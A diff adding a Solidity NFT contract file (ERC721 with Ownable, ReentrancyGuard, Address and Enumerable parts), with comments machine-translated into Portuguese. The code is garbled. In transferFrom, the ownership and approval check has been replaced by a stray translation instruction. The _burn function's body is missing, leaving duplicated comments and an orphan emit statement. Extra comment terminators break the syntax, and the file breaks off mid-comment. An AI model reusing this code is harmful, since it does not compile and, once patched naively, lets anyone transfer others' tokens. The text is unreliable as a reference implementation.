+1,1664 @@ +/** + * Enviado para verificação em Etherscan.io em 2021-08-27 +*/ + +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +/** + * @dev Interface do padrão ERC165, conforme definido no + * https://eips.ethereum.org/EIPS/eip-165[EIP]. + * + * Implementadores podem declarar suporte a interfaces de contratos, que podem então ser + * consultadas por outros ({ERC165Checker}). + * + * Para uma implementação, veja {ERC165}. + */ +interface IERC165 { + /** + * @dev Retorna verdadeiro se este contrato implementa a interface definida por + * `interfaceId`. Consulte a seção correspondente + * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP] + * para saber mais sobre como esses ids são criados. + * + * Esta chamada de função deve usar menos de 30.000 gas. + */ + function supportsInterface(bytes4 interfaceId) external view returns (bool); +} + + + + + + +/** + * @dev Interface necessária de um contrato compatível com ERC721. + */ +interface IERC721 is IERC165 { + /** + * @dev Emitido quando o token `tokenId` é transferido de `from` para `to`. + */ + event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); + + /** + * @dev Emitido quando `owner` permite que `approved` gerencie o token `tokenId`. + */ + event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); + + /** + * @dev Emitido quando `owner` habilita ou desabilita (`approved`) `operator` para gerenciar todos os seus ativos. + */ + event ApprovalForAll(address indexed owner, address indexed operator, bool approved); + + /** + * @dev Retorna o número de tokens na conta do ``owner``. + */ + function balanceOf(address owner) external view returns (uint256 balance); + + /** + * @dev Retorna o proprietário do token `tokenId`. + * + * Requisitos: + * + * - `tokenId` deve existir. + */ + function ownerOf(uint256 tokenId) external view returns (address owner); + + /** + * @dev Transfere com segurança o token `tokenId` de `from` para `to`, verificando primeiro se os destinatários do contrato + * estão cientes do protocolo ERC721 para evitar que os tokens fiquem bloqueados para sempre. + * + * Requisitos: + * + * - `from` não pode ser o endereço zero. + * - `to` não pode ser o endereço zero. + * - O token `tokenId` deve existir e ser de propriedade de `from`. + * - Se o chamador não for `from`, ele deve ter sido autorizado a mover este token por meio de {approve} ou {setApprovalForAll}. + * - Se `to` se referir a um contrato inteligente, ele deve implementar {IERC721Receiver-onERC721Received}, que é chamado durante uma transferência segura. + * + * Emite um evento {Transfer}. + */ + function safeTransferFrom( + address from, + address to, + uint256 tokenId + ) external; + + /** + * @dev Transfere o token `tokenId` de `from` para `to`. + * + * AVISO: O uso deste método é desencorajado, use {safeTransferFrom} sempre que possível. + * + * Requisitos: + * + * - `from` não pode ser o endereço zero. + * - `to` não pode ser o endereço zero. + * - O token `tokenId` deve ser de propriedade de `from`. + * - Se o chamador não for `from`, ele deve ser aprovado para mover este token por meio de {approve} ou {setApprovalForAll}. + * + * Emite um evento {Transfer}. + */ + function transferFrom( + address from, + address to, + uint256 tokenId + ) external; + + /** + * @dev Concede permissão para `to` transferir o token `tokenId` para outra conta. + * A aprovação é removida quando o token é transferido. + * + * Apenas uma única conta pode ser aprovada por vez, portanto, aprovar o endereço zero remove aprovações anteriores. + * + * Requisitos: + * + * - O chamador deve ser o proprietário do token ou um operador aprovado. + * - `tokenId` deve existir. + * + * Emite um evento {Approval}. + */ + function approve(address to, uint256 tokenId) external; + + /** + * @dev Retorna a conta aprovada para o token `tokenId`. + * + * Requisitos: + * + * - `tokenId` deve existir. + */ + function getApproved(uint256 tokenId) external view returns (address operator); + + /** + * @dev Aprova ou remove `operador` como um operador para o chamador. + * Operadores podem chamar {transferFrom} ou {safeTransferFrom} para qualquer token de propriedade do chamador. + * + * Requisitos: + * + * - O `operador` não pode ser o chamador. + * + * Emite um evento {ApprovalForAll}. + */ + function setApprovalForAll(address operator, bool _approved) external; + + /** + * @dev Retorna se o `operador` está autorizado a gerenciar todos os ativos do `proprietário`. + * + * Veja {setApprovalForAll} + */ + function isApprovedForAll(address owner, address operator) external view returns (bool); + + /** + * @dev Transfere com segurança o token `tokenId` de `from` para `to`. + * + * Requisitos: + * + * - `from` não pode ser o endereço zero. + * - `to` não pode ser o endereço zero. + * - O token `tokenId` deve existir e ser de propriedade de `from`. + * - Se o chamador não for `from`, ele deve ser aprovado para mover este token por meio de {approve} ou {setApprovalForAll}. + * - Se `to` se referir a um contrato inteligente, ele deve implementar {IERC721Receiver-onERC721Received}, que é chamado durante uma transferência segura. + * + * Emite um evento {Transfer}. + */ + function safeTransferFrom( + address from, + address to, + uint256 tokenId, + bytes calldata data + ) external; +} + + + + +/** + * @dev Operações de string. + */ +library Strings { + bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; + + /** + * @dev Converte um `uint256` para sua representação decimal em `string` ASCII. + */ + function toString(uint256 value) internal pure returns (string memory) { + // Inspirado na implementação da OraclizeAPI - licença MIT + // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol + + if (value == 0) { + return "0"; + } + uint256 temp = value; + uint256 digits; + while (temp != 0) { + digits++; + temp /= 10; + } + bytes memory buffer = new bytes(digits); + while (value != 0) { + digits -= 1; + buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); + value /= 10; + } + return string(buffer); + } + + /** + * @dev Converte um `uint256` para sua representação hexadecimal em `string` ASCII. + */ + function toHexString(uint256 value) internal pure returns (string memory) { + if (value == 0) { + return "0x00"; + } + uint256 temp = value; + uint256 length = 0; + while (temp != 0) { + length++; + temp >>= 8; + } + return toHexString(value, length); + } + + /** + * @dev Converte um `uint256` para sua representação hexadecimal `string` ASCII com comprimento fixo. + */ + function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { + bytes memory buffer = new bytes(2 * length + 2); + buffer[0] = "0"; + buffer[1] = "x"; + for (uint256 i = 2 * length + 1; i > 1; --i) { + buffer[i] = _HEX_SYMBOLS[value & 0xf]; + value >>= 4; + } + require(value == 0, "Strings: hex length insufficient"); + return string(buffer); + } +} + + + + +/* + * @dev Fornece informações sobre o contexto de execução atual, incluindo o + * remetente da transação e seus dados. Embora essas informações estejam geralmente disponíveis + * através de msg.sender e msg.data, elas não devem ser acessadas de forma direta + * maneira, pois ao lidar com meta-transações, a conta que envia e + * paga pela execução pode não ser o remetente real (do ponto de vista de um aplicativo). + * + * Este contrato é necessário apenas para contratos intermediários semelhantes a bibliotecas. + */ + */ +abstract contract Context { + function _msgSender() internal view virtual returns (address) { + return msg.sender; + } + + function _msgData() internal view virtual returns (bytes calldata) { + return msg.data; + } +} + + + + + + + + + +/** + * @dev Módulo de contrato que fornece um mecanismo básico de controle de acesso, onde + * há uma conta (um proprietário) que pode receber acesso exclusivo a + * funções específicas. + * + * Por padrão, a conta do proprietário será aquela que implanta o contrato. Isso + * pode ser alterado posteriormente com {transferOwnership}. + * + * Este módulo é usado por meio de herança. Ele disponibilizará o modificador + * `onlyOwner`, que pode ser aplicado às suas funções para restringir seu uso ao + * proprietário. + */ +abstract contract Ownable is Context { + address private _owner; + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + /** + * @dev Inicializa o contrato definindo o deployer como o proprietário inicial. + */ + constructor() { + _setOwner(_msgSender()); + } + + /** + * @dev Retorna o endereço do proprietário atual. + */ + function owner() public view virtual returns (address) { + return _owner; + } + + /** + * @dev Lança uma exceção se chamado por qualquer conta que não seja do proprietário. + */ + modifier onlyOwner() { + require(owner() == _msgSender(), "Ownable: caller is not the owner"); + _; + } + + /** + * @dev Deixa o contrato sem proprietário. Não será mais possível chamar + * funções `onlyOwner`. Só pode ser chamado pelo proprietário atual. + * + * NOTA: Renunciar à propriedade deixará o contrato sem um proprietário, + * removendo assim qualquer funcionalidade que esteja disponível apenas para o proprietário. + */ + function renounceOwnership() public virtual onlyOwner { + _setOwner(address(0)); + } + + /** + * @dev Transfere a propriedade do contrato para uma nova conta (`newOwner`). + * Só pode ser chamado pelo proprietário atual. + */ + function transferOwnership(address newOwner) public virtual onlyOwner { + require(newOwner != address(0), "Ownable: new owner is the zero address"); + _setOwner(newOwner); + } + + function _setOwner(address newOwner) private { + address oldOwner = _owner; + _owner = newOwner; + emit OwnershipTransferred(oldOwner, newOwner); + } +} + + + + + +/** + * @dev Módulo de contrato que ajuda a prevenir chamadas reentrantes a uma função. + * + * Herdar de `ReentrancyGuard` tornará o modificador {nonReentrant} disponível, + * que pode ser aplicado a funções para garantir que não haja chamadas aninhadas + * (reentrantes) para elas. + * + * Observe que, como há apenas uma guarda `nonReentrant`, funções marcadas como + * `nonReentrant` não podem chamar umas às outras. Isso pode ser contornado tornando + * essas funções `private` e, em seguida, adicionando pontos de entrada `external` `nonReentrant` a elas. + * + * DICA: Se você gostaria de aprender mais sobre reentrância e maneiras alternativas + * de se proteger contra ela, confira nosso post no blog + * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. + */ + */ +abstract contract ReentrancyGuard { + // Booleans são mais caros do que uint256 ou qualquer tipo que ocupe um espaço completo. + // palavra porque cada operação de escrita emite uma SLOAD extra para ler primeiro o + // conteúdo do slot, substitua as partes ocupadas pelo booleano e, em seguida, escreva + // de volta. Esta é a defesa do compilador contra atualizações de contrato e + // ponteiro de aliasing, e não pode ser desativado. + + // Os valores sendo diferentes de zero tornam a implantação um pouco mais cara, + // mas em troca, o reembolso em cada chamada para nãoReentrant será menor em + // quantidade. Como os reembolsos são limitados a uma porcentagem do total + // gás da transação, é melhor mantê-los baixos em casos como este, para + // aumentar a probabilidade de o reembolso total entrar em vigor. + uint256 private constant _NOT_ENTERED = 1; + uint256 private constant _ENTERED = 2; + + uint256 private _status; + + constructor() { + _status = _NOT_ENTERED; + } + + /** + * @dev Impede que um contrato se chame a si mesmo, diretamente ou indiretamente. + * Chamar uma função `nonReentrant` de outra função `nonReentrant` não é suportado. + * É possível evitar que isso aconteça tornando a função `nonReentrant` externa e + * fazendo-a chamar uma função `private` que realiza o trabalho real. + */ + */ + modifier nonReentrant() { + // Na primeira chamada para nonReentrant, _notEntered será verdadeiro + require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); + + // Qualquer chamada a nonReentrant após este ponto falhará + _status = _ENTERED; + + _; + + // Ao armazenar o valor original mais uma vez, um reembolso é acionado (veja + // https://eips.ethereum.org/EIPS/eip-2200) + _status = _NOT_ENTERED; + } +} + + + + + + + + + + + + + + +/** + * @title Interface do receptor de tokens ERC721 + * @dev Interface para qualquer contrato que deseje suportar transferências seguras + * de contratos de ativos ERC721. + */ +interface IERC721Receiver { + /** + * @dev Sempre que um token {IERC721} `tokenId` for transferido para este contrato via {IERC721-safeTransferFrom} + * por `operador` de `de`, esta função é chamada. + * + * Ela deve retornar o seletor Solidity para confirmar a transferência do token. + * Se qualquer outro valor for retornado ou a interface não for implementada pelo destinatário, a transferência será revertida. + * + * O seletor pode ser obtido em Solidity com `IERC721.onERC721Received.selector`. + */ + function onERC721Received( + address operator, + address from, + uint256 tokenId, + bytes calldata data + ) external returns (bytes4); +} + + + + + + + +/** + * @title Padrão de Token Não-Fungível ERC-721, extensão opcional de metadados + * @dev Veja https://eips.ethereum.org/EIPS/eip-721 + */ +interface IERC721Metadata is IERC721 { + /** + * @dev Retorna o nome da coleção de tokens. + */ + function name() external view returns (string memory); + + /** + * @dev Retorna o símbolo da coleção de tokens. + */ + function symbol() external view returns (string memory); + + /** + * @dev Retorna o Identificador de Recurso Uniforme (URI) para o token `tokenId`. + */ + function tokenURI(uint256 tokenId) external view returns (string memory); +} + + + + + +/** + * @dev Coleção de funções relacionadas ao tipo de endereço + */ +library Address { + /** + * @dev Retorna verdadeiro se `conta` for um contrato. + * + * [IMPORTANTE] + * ==== + * Não é seguro assumir que um endereço para o qual esta função retorna + * falso é uma conta de propriedade externa (EOA) e não um contrato. + * + * Entre outros, `isContract` retornará falso para os seguintes + * tipos de endereços: + * + * - uma conta de propriedade externa + * - um contrato em construção + * - um endereço onde um contrato será criado + * - um endereço onde um contrato viveu, mas foi destruído + * ==== + */ + function isContract(address account) internal view returns (bool) { + // Este método depende de extcodesize, que retorna 0 para contratos em + // construção, já que o código é armazenado apenas no final do + // execução do construtor. + + uint256 size; + assembly { + size := extcodesize(account) + } + return size > 0; + } + + /** + * @dev Substituição para o `transfer` do Solidity: envia `amount` wei para + * `recipient`, encaminhando todo o gás disponível e revertendo em caso de erros. + * + * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] aumenta o custo de gás + * de certas opcodes, possivelmente fazendo com que contratos ultrapassem o limite de gás de 2300 + * imposto pelo `transfer`, tornando-os incapazes de receber fundos via + * `transfer`. {sendValue} remove essa limitação. + * + * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Saiba mais]. + * + * IMPORTANTE: porque o controle é transferido para `recipient`, é necessário ter cuidado + * para não criar vulnerabilidades de reentrância. Considere usar + * {ReentrancyGuard} ou o + * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[padrão checks-effects-interactions]. + */ + function sendValue(address payable recipient, uint256 amount) internal { + require(address(this).balance >= amount, "Address: insufficient balance"); + + (bool success, ) = recipient.call{value: amount}(""); + require(success, "Address: unable to send value, recipient may have reverted"); + } + + /** + * @dev Executa uma chamada de função Solidity usando um `call` de baixo nível. Um + * `call` simples é uma substituição insegura para uma chamada de função: use esta + * função em vez disso. + * + * Se `target` reverter com uma razão de revert, ela é propagada por esta + * função (como chamadas de função Solidity regulares). + * + * Retorna os dados brutos retornados. Para converter para o valor de retorno esperado, + * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. + * + * Requisitos: + * + * - `target` deve ser um contrato. + * - chamar `target` com `data` não deve reverter. + * + * _Disponível desde a versão 3.1._ + */ + function functionCall(address target, bytes memory data) internal returns (bytes memory) { + return functionCall(target, data, "Address: low-level call failed"); + } + + /** + * @dev Mesmo que {xref-Address-functionCall-address-bytes-}[`functionCall`], mas com + * `errorMessage` como motivo de fallback de revert quando `target` reverte. + * + * _Disponível desde a versão 3.1._ + */ + function functionCall( + address target, + bytes memory data, + string memory errorMessage + ) internal returns (bytes memory) { + return functionCallWithValue(target, data, 0, errorMessage); + } + + /** + * @dev Mesmo que {xref-Address-functionCall-address-bytes-}[`functionCall`], + * mas também transfere `value` wei para `target`. + * + * Requisitos: + * + * - o contrato chamador deve ter um saldo de ETH de pelo menos `value`. + * - a função Solidity chamada deve ser `payable`. + * + * _Disponível desde a versão 3.1._ + */ + function functionCallWithValue( + address target, + bytes memory data, + uint256 value + ) internal returns (bytes memory) { + return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); + } + + /** + * @dev Mesmo que {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], mas + * com `errorMessage` como motivo de fallback de revert quando `target` reverte. + * + * _Disponível desde a versão 3.1._ + */ + function functionCallWithValue( + address target, + bytes memory data, + uint256 value, + string memory errorMessage + ) internal returns (bytes memory) { + require(address(this).balance >= value, "Address: insufficient balance for call"); + require(isContract(target), "Address: call to non-contract"); + + (bool success, bytes memory returndata) = target.call{value: value}(data); + return _verifyCallResult(success, returndata, errorMessage); + } + + /** + * @dev Mesmo que {xref-Address-functionCall-address-bytes-}[`functionCall`], + * mas realizando uma chamada estática. + * + * _Disponível desde a versão 3.3._ + */ + function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { + return functionStaticCall(target, data, "Address: low-level static call failed"); + } + + /** + * @dev Mesmo que {xref-Address-functionCall-address-bytes-string-}[`functionCall`], + * mas realizando uma chamada estática. + * + * _Disponível desde a versão 3.3._ + */ + function functionStaticCall( + address target, + bytes memory data, + string memory errorMessage + ) internal view returns (bytes memory) { + require(isContract(target), "Address: static call to non-contract"); + + (bool success, bytes memory returndata) = target.staticcall(data); + return _verifyCallResult(success, returndata, errorMessage); + } + + /** + * @dev Mesmo que {xref-Address-functionCall-address-bytes-}[`functionCall`], + * mas realizando uma chamada de delegado. + * + * _Disponível desde a versão 3.4._ + */ + function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { + return functionDelegateCall(target, data, "Address: low-level delegate call failed"); + } + + /** + * @dev Mesmo que {xref-Address-functionCall-address-bytes-string-}[`functionCall`], + * mas realizando uma chamada de delegado. + * + * _Disponível desde a versão 3.4._ + */ + function functionDelegateCall( + address target, + bytes memory data, + string memory errorMessage + ) internal returns (bytes memory) { + require(isContract(target), "Address: delegate call to non-contract"); + + (bool success, bytes memory returndata) = target.delegatecall(data); + return _verifyCallResult(success, returndata, errorMessage); + } + + function _verifyCallResult( + bool success, + bytes memory returndata, + string memory errorMessage + ) private pure returns (bytes memory) { + if (success) { + return returndata; + } else { + // Procurar motivo de reversão e propagá-lo se estiver presente + if (returndata.length > 0) { + // A maneira mais fácil de bolhar a razão de reverter é usando memória via assembly + + assembly { + let returndata_size := mload(returndata) + revert(add(32, returndata), returndata_size) + } + } else { + revert(errorMessage); + } + } + } +} + + + + + + + + + +/** + * @dev Implementação da interface {IERC165}. + * + * Contratos que desejam implementar o ERC165 devem herdar deste contrato e substituir {supportsInterface} para verificar + * o ID de interface adicional que será suportado. Por exemplo: + * + * ```solidity + * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { + * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); + * } + * ``` + * + * Alternativamente, {ERC165Storage} fornece uma implementação mais fácil de usar, mas mais cara. + */ +abstract contract ERC165 is IERC165 { + /** + * @dev Veja {IERC165-supportsInterface}. + */ + function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { + return interfaceId == type(IERC165).interfaceId; + } +} + + +/** + * @dev Implementação do https://eips.ethereum.org/EIPS/eip-721[Padrão de Token Não-Fungível ERC721], incluindo + * a extensão de Metadados, mas não incluindo a extensão Enumerável, que está disponível separadamente como + * {ERC721Enumerable}. + */ +contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { + using Address for address; + using Strings for uint256; + + // Nome do token + string private _name; + + // Símbolo do token + string private _symbol; + + // Mapeamento do ID do token para o endereço do proprietário + mapping(uint256 => address) private _owners; + + // Mapeando o endereço do proprietário para a contagem de tokens + mapping(address => uint256) private _balances; + + // Mapeamento do ID do token para o endereço aprovado + mapping(uint256 => address) private _tokenApprovals; + + // Mapeamento do proprietário para aprovações do operador + mapping(address => mapping(address => bool)) private _operatorApprovals; + + /** + * @dev Inicializa o contrato definindo um `nome` e um `símbolo` para a coleção de tokens. + */ + constructor(string memory name_, string memory symbol_) { + _name = name_; + _symbol = symbol_; + } + + /** + * @dev Veja {IERC165-supportsInterface}. + */ + function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { + return + interfaceId == type(IERC721).interfaceId || + interfaceId == type(IERC721Metadata).interfaceId || + super.supportsInterface(interfaceId); + } + + /** + * @dev Veja {IERC721-balanceOf}. + */ + function balanceOf(address owner) public view virtual override returns (uint256) { + require(owner != address(0), "ERC721: balance query for the zero address"); + return _balances[owner]; + } + + /** + * @dev Veja {IERC721-ownerOf}. + */ + function ownerOf(uint256 tokenId) public view virtual override returns (address) { + address owner = _owners[tokenId]; + require(owner != address(0), "ERC721: owner query for nonexistent token"); + return owner; + } + + /** + * @dev Veja {IERC721Metadata-name}. + */ + function name() public view virtual override returns (string memory) { + return _name; + } + + /** + * @dev Veja {IERC721Metadata-symbol}. + */ + function symbol() public view virtual override returns (string memory) { + return _symbol; + } + + /** + * @dev Veja {IERC721Metadata-tokenURI}. + */ + function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { + require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); + + string memory baseURI = _baseURI(); + return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; + } + + /** + * @dev URI base para calcular {tokenURI}. Se definido, o URI resultante para cada + * token será a concatenação do `baseURI` e do `tokenId`. Vazio + * por padrão, pode ser substituído em contratos filhos. + */ + function _baseURI() internal view virtual returns (string memory) { + return ""; + } + + /** + * @dev Veja {IERC721-approve}. + */ + function approve(address to, uint256 tokenId) public virtual override { + address owner = ERC721.ownerOf(tokenId); + require(to != owner, "ERC721: approval to current owner"); + + require( + _msgSender() == owner || isApprovedForAll(owner, _msgSender()), + "ERC721: approve caller is not owner nor approved for all" + ); + + _approve(to, tokenId); + } + + /** + * @dev Veja {IERC721-getApproved}. + */ + function getApproved(uint256 tokenId) public view virtual override returns (address) { + require(_exists(tokenId), "ERC721: approved query for nonexistent token"); + + return _tokenApprovals[tokenId]; + } + + /** + * @dev Veja {IERC721-setApprovalForAll}. + */ + function setApprovalForAll(address operator, bool approved) public virtual override { + require(operator != _msgSender(), "ERC721: approve to caller"); + + _operatorApprovals[_msgSender()][operator] = approved; + emit ApprovalForAll(_msgSender(), operator, approved); + } + + /** + * @dev Veja {IERC721-isApprovedForAll}. + */ + function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { + return _operatorApprovals[owner][operator]; + } + + /** + * @dev Veja {IERC721-transferFrom}. + */ + function transferFrom( + address from, + address to, + uint256 tokenId + ) public virtual override { + //solhint-disable-next-line max-line-length + Se o texto contiver alguma parte em 'zh', traduza todo o texto para 'pt-br', caso contrário, mantenha o texto original. + + _transfer(from, to, tokenId); + } + + /** + * @dev Veja {IERC721-safeTransferFrom}. + */ + function safeTransferFrom( + address from, + address to, + uint256 tokenId + ) public virtual override { + safeTransferFrom(from, to, tokenId, ""); + } + + /** + * @dev Veja {IERC721-safeTransferFrom}. + */ + function safeTransferFrom( + address from, + address to, + uint256 tokenId, + bytes memory _data + ) public virtual override { + require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); + _safeTransfer(from, to, tokenId, _data); + } + + /** + * @dev Transfere com segurança o token `tokenId` de `from` para `to`, verificando primeiro se os destinatários do contrato + * estão cientes do protocolo ERC721 para evitar que os tokens fiquem bloqueados para sempre. + * + * `_data` é um dado adicional, não possui um formato especificado e é enviado na chamada para `to`. + * + * Esta função interna é equivalente a {safeTransferFrom} e pode ser usada, por exemplo, + * para implementar mecanismos alternativos para realizar a transferência de tokens, como baseados em assinatura. + * + * Requisitos: + * + * - `from` não pode ser o endereço zero. + * - `to` não pode ser o endereço zero. + * - O token `tokenId` deve existir e ser de propriedade de `from`. + * - Se `to` se refere a um contrato inteligente, ele deve implementar {IERC721Receiver-onERC721Received}, que é chamado durante uma transferência segura. + * + * Emite um evento {Transfer}. + */ + function _safeTransfer( + address from, + address to, + uint256 tokenId, + bytes memory _data + ) internal virtual { + _transfer(from, to, tokenId); + require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); + } + + /** + * @dev Retorna se o `tokenId` existe. + * + * Tokens podem ser gerenciados pelo seu proprietário ou contas aprovadas através de {approve} ou {setApprovalForAll}. + * + * Tokens começam a existir quando são criados (`_mint`), + * e param de existir quando são queimados (`_burn`). + */ + function _exists(uint256 tokenId) internal view virtual returns (bool) { + return _owners[tokenId] != address(0); + } + + /** + * @dev Retorna se `spender` está autorizado a gerenciar `tokenId`. + * + * Requisitos: + * + * - `tokenId` deve existir. + */ + function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { + require(_exists(tokenId), "ERC721: operator query for nonexistent token"); + address owner = ERC721.ownerOf(tokenId); + return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); + } + + /** + * @dev Minta com segurança `tokenId` e transfere para `to`. + * + * Requisitos: + * + * - `tokenId` não deve existir. + * - Se `to` se refere a um contrato inteligente, ele deve implementar {IERC721Receiver-onERC721Received}, que é chamado durante uma transferência segura. + * + * Emite um evento {Transfer}. + */ + function _safeMint(address to, uint256 tokenId) internal virtual { + _safeMint(to, tokenId, ""); + } + + /** + * @dev Mesmo que {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], com um parâmetro adicional `data` que é + * encaminhado em {IERC721Receiver-onERC721Received} para os destinatários do contrato. + */ + function _safeMint( + address to, + uint256 tokenId, + bytes memory _data + ) internal virtual { + _mint(to, tokenId); + require( + _checkOnERC721Received(address(0), to, tokenId, _data), + "ERC721: transfer to non ERC721Receiver implementer" + ); + } + + /** + * @dev Emite um novo token `tokenId` e transfere-o para `to`. + * + * AVISO: O uso deste método é desencorajado, use {_safeMint} sempre que possível. + * + * Requisitos: + * + * - `tokenId` não deve existir. + * - `to` não pode ser o endereço zero. + * + * Emite um evento {Transfer}. + */ + function _mint(address to, uint256 tokenId) internal virtual { + require(to != address(0), "ERC721: mint to the zero address"); + require(!_exists(tokenId), "ERC721: token already minted"); + + _beforeTokenTransfer(address(0), to, tokenId); + + _balances[to] += 1; + _owners[tokenId] = to; + + emit Transfer(address(0), to, tokenId); + } + + /** + * @dev Destroys `tokenId`. + * The approval is cleared when the token is burned. + * + * Requirements: + * + * - `tokenId` must exist. + * + * Emits a {Transfer} event. + */ + /** + * @dev Destroys `tokenId`. + * A aprovação é limpa quando o token é queimado. + * + * Requisitos: + * + * - `tokenId` deve existir. + * + * Emite um evento {Transfer}. + */ + + emit Transfer(owner, address(0), tokenId); + } + + /** + * @dev Transfere `tokenId` de `from` para `to`. + * Ao contrário de {transferFrom}, isso não impõe restrições ao msg.sender. + * + * Requisitos: + * + * - `to` não pode ser o endereço zero. + * - O token `tokenId` deve ser de propriedade de `from`. + * + * Emite um evento {Transfer}. + */ + function _transfer( + address from, + address to, + uint256 tokenId + ) internal virtual { + require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); + require(to != address(0), "ERC721: transfer to the zero address"); + + _beforeTokenTransfer(from, to, tokenId); + + // Limpar aprovações do proprietário anterior + _approve(address(0), tokenId); + + _balances[from] -= 1; + _balances[to] += 1; + _owners[tokenId] = to; + + emit Transfer(from, to, tokenId); + } + + /** + * @dev Aprova `to` para operar em `tokenId` + * + * Emite um evento {Approval}. + */ + function _approve(address to, uint256 tokenId) internal virtual { + _tokenApprovals[tokenId] = to; + emit Approval(ERC721.ownerOf(tokenId), to, tokenId); + } + + /** + * @dev Função interna para invocar {IERC721Receiver-onERC721Received} em um endereço de destino. + * A chamada não é executada se o endereço de destino não for um contrato. + * + * @param from endereço que representa o proprietário anterior do token ID fornecido + * @param to endereço de destino que receberá os tokens + * @param tokenId uint256 ID do token a ser transferido + * @param _data bytes dados opcionais a serem enviados junto com a chamada + * @return bool se a chamada retornou corretamente o valor mágico esperado + */ + function _checkOnERC721Received( + address from, + address to, + uint256 tokenId, + bytes memory _data + ) private returns (bool) { + if (to.isContract()) { + try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { + return retval == IERC721Receiver(to).onERC721Received.selector; + } catch (bytes memory reason) { + if (reason.length == 0) { + revert("ERC721: transfer to non ERC721Receiver implementer"); + } else { + assembly { + revert(add(32, reason), mload(reason)) + } + } + } + } else { + return true; + } + } + + /** + * @dev Gancho que é chamado antes de qualquer transferência de token. Isso inclui a criação + * e queima de tokens. + * + * Condições de chamada: + * + * - Quando `from` e `to` são ambos diferentes de zero, o `tokenId` de `from` será + * transferido para `to`. + * - Quando `from` é zero, `tokenId` será criado para `to`. + * - Quando `to` é zero, o `tokenId` de `from` será queimado. + * - `from` e `to` nunca são ambos zero. + * + * Para saber mais sobre ganchos, acesse xref:ROOT:extending-contracts.adoc#using-hooks[Usando Ganchos]. + */ + function _beforeTokenTransfer( + address from, + address to, + uint256 tokenId + ) internal virtual {} +} + + + + + + + +/** + * @title Padrão de Token Não-Fungível ERC-721, extensão opcional de enumeração + * @dev Veja https://eips.ethereum.org/EIPS/eip-721 + */ +interface IERC721Enumerable is IERC721 { + /** + * @dev Retorna a quantidade total de tokens armazenados pelo contrato. + */ + function totalSupply() external view returns (uint256); + + /** + * @dev Retorna um ID de token de propriedade do `owner` em um determinado `índice` de sua lista de tokens. + * Use junto com {balanceOf} para enumerar todos os tokens do `owner`. + */ + function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); + + /** + * @dev Retorna um ID de token em um determinado `índice` de todos os tokens armazenados pelo contrato. + * Use junto com {totalSupply} para enumerar todos os tokens. + */ + function tokenByIndex(uint256 index) external view returns (uint256); +} + + +/** + * @dev Isso implementa uma extensão opcional do {ERC721} definido no EIP que adiciona + * a enumerabilidade de todos os IDs de token no contrato, bem como todos os IDs de token possuídos por cada + * conta. + */ +abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { + // Mapeamento do proprietário para lista de IDs de tokens possuídos + mapping(address => mapping(uint256 => uint256)) private _ownedTokens; + + // Mapeamento do ID do token para o índice da lista de tokens do proprietário + mapping(uint256 => uint256) private _ownedTokensIndex; + + // Array com todos os IDs de token, usado para enumeração + uint256[] private _allTokens; + + // Mapeamento do id do token para a posição no array allTokens + mapping(uint256 => uint256) private _allTokensIndex; + + /** + * @dev Veja {IERC165-supportsInterface}. + */ + function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { + return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); + } + + /** + * @dev Veja {IERC721Enumerable-tokenOfOwnerByIndex}. + */ + function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { + require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); + return _ownedTokens[owner][index]; + } + + /** + * @dev Veja {IERC721Enumerable-totalSupply}. + */ + function totalSupply() public view virtual override returns (uint256) { + return _allTokens.length; + } + + /** + * @dev Veja {IERC721Enumerable-tokenByIndex}. + */ + function tokenByIndex(uint256 index) public view virtual override returns (uint256) { + require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); + return _allTokens[index]; + } + + /** + * @dev Gancho que é chamado antes de qualquer transferência de token. Isso inclui a criação + * e queima. + * + * Condições de chamada: + * + * - Quando `from` e `to` não são zero, o `tokenId` de 